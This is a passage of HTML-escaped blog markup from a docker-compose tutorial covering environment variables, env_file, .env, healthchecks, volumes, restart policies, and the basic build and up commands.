style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;usuario&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      - &lt;span style=&#34;color:#ff5c57&#34;&gt;POSTGRES_PASSWORD&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;contrasena&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can also use a dictionary syntax instead of the above.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;3.8&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;services:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  db:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    image: postgres&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    environment:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      MODE: development&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      DEBUG: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;true&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;secret-environment-variables&#34;&gt;secret environment variables&lt;/h4&gt;&#xA;&lt;p&gt;If we do not specify a value for an environment variable and leave its value blank, docker-compose will take it from the machine where docker-compose is running.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;3.8&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;services:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  db:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    image: postgres&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    environment:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      MODE: development&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      DEBUG: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;true&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      SECRET_KEY:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This way we don&amp;rsquo;t have to expose sensitive information if we decide to share our Docker compose files or store them in a version control system.&lt;/p&gt;&#xA;&lt;h3 id=&#34;env_file&#34;&gt;env_file&lt;/h3&gt;&#xA;&lt;p&gt;If we want to load multiple environment variables, instead of specifying the variables one by one, we will use env_file in our file.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;3.8&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;services:  &lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  web:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    build: .&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    command: python manage.py runserver 0.0.0.0:8000&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    env_file: common.env&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Consider that the &lt;em&gt;env_file&lt;/em&gt; directive loads values into containers. So these variables will not be available at the time of creating the container. For example: you cannot put the PORT variable in an env_file and then condition the port that exposes your service.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# NO ES POSIBLE ESTO&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;expose&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  - &lt;span style=&#34;color:#5af78e&#34;&gt;${&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;PORT&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;environment-variables-with-env&#34;&gt;Environment variables with .env&lt;/h3&gt;&#xA;&lt;p&gt;Docker compose automatically loads a file named &lt;em&gt;.env&lt;/em&gt; from the root of the project and uses its environment variables in the configuration of its services.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Posible con un archivo.env que contenga PORT=8009&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;expose&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  - &lt;span style=&#34;color:#5af78e&#34;&gt;${&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;PORT&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;healthcheck&#34;&gt;healthcheck&lt;/h3&gt;&#xA;&lt;p&gt;This command is to periodically check the status of a service. That is to say, we can create a command that allows us to know if our container is running correctly.&lt;/p&gt;&#xA;&lt;p&gt;With the configuration below, Healtcheck will run a curl to localhost, every minute and a half, once 40 seconds have passed, if the command takes more than 10 seconds to return a result it will consider it as a failure and if a failure occurs more than 3 times the service will be considered &amp;ldquo;unhealthy&amp;rdquo;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;3.8&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;services:  &lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  web:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    build: .&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    command: python manage.py runserver 0.0.0.0:8000&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    env_file: common.env&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    healthcheck:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      test: &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;CMD&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;curl&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;-f&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;http://localhost&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      interval: 1m30s&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      timeout: 10s&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      retries: &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      start_period: 40s&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;volumes-in-docker-compose&#34;&gt;volumes in docker compose&lt;/h3&gt;&#xA;&lt;p&gt;We can send parts of our operating system to a service using one or several volumes. For this we use the syntax HOST:CONTAINER. Host can be a location on your system or also the name of a volume you have created with docker.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;3.8&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;services:  &lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  db:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    image: postgres:latest&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    volumes:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      - &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/var/run/postgres/postgres.sock:/var/run/postgres/postgres.sock&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      - &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;dbdata:/var/lib/postgresql/data&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Optionally we can specify whether the use of volumes will be read-only or read-write, with &amp;ldquo;ro&amp;rdquo; and &amp;ldquo;rw&amp;rdquo;, respectively.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;3.8&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;services:  &lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  db:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    image: postgres:latest&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    volumes:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      - &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/var/run/postgres/postgres.sock:/var/run/postgres/postgres.sock&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      - &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;dbdata:/var/lib/postgresql/data:ro&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;restart&#34;&gt;restart&lt;/h3&gt;&#xA;&lt;p&gt;With restart we can apply restart policies to our services.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;3.8&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;services:  &lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  db:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    image: postgres:latest&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    restart: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;on-failure&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The restart option can take several values&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;no: never restarts the container&lt;/li&gt;&#xA;&lt;li&gt;always: always restarts it&lt;/li&gt;&#xA;&lt;li&gt;on-failure: restarts it if the container returns an error status&lt;/li&gt;&#xA;&lt;li&gt;unless-stopped: restarts it in all cases except when stopped&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;basic-docker-compose-commands&#34;&gt;Basic docker compose commands&lt;/h2&gt;&#xA;&lt;p&gt;Now that we have seen how a docker-compose file is conformed and some of its most common configurations, let&amp;rsquo;s start with the basic commands.&lt;/p&gt;&#xA;&lt;h3 id=&#34;compiling-a-service-file&#34;&gt;Compiling a service file&lt;/h3&gt;&#xA;&lt;p&gt;To build a docker-compose file just run build. This command will look for a file named docker-compose.yml in the current folder.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose build&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Building postgres&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Step 1/4 : FROM postgres:12.3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ---&amp;gt; b03968f50f0e&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Step 2/4 : COPY ./compose/production/postgres/maintenance /usr/local/bin/maintenance&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ---&amp;gt; Using cache&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we want to specify a specific docker-compose file we use the &lt;em&gt;-f&lt;/em&gt; option, followed by the file name.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose -f production.yml build&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;running-docker-compose-and-its-services-with-docker-compose-up-command&#34;&gt;Running docker-compose and its services with docker compose up command&lt;/h3&gt;&#xA;&lt;p&gt;Once the image with our services has been created we can start and create the services with the up command. With docker-compose up will start or restart all the services in the docker-compose.yml file or the one we specify with &lt;em&gt;-f&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose up&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Creating network &amp;#34;my_project&amp;#34; with the default driver&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Creating postgres ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Creating docs     ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Creating django   ... done&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We will probably want to run our stack of services in the background, for that just add the &lt;em&gt;-d&lt;/em&gt; (dettached) option at the end.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; 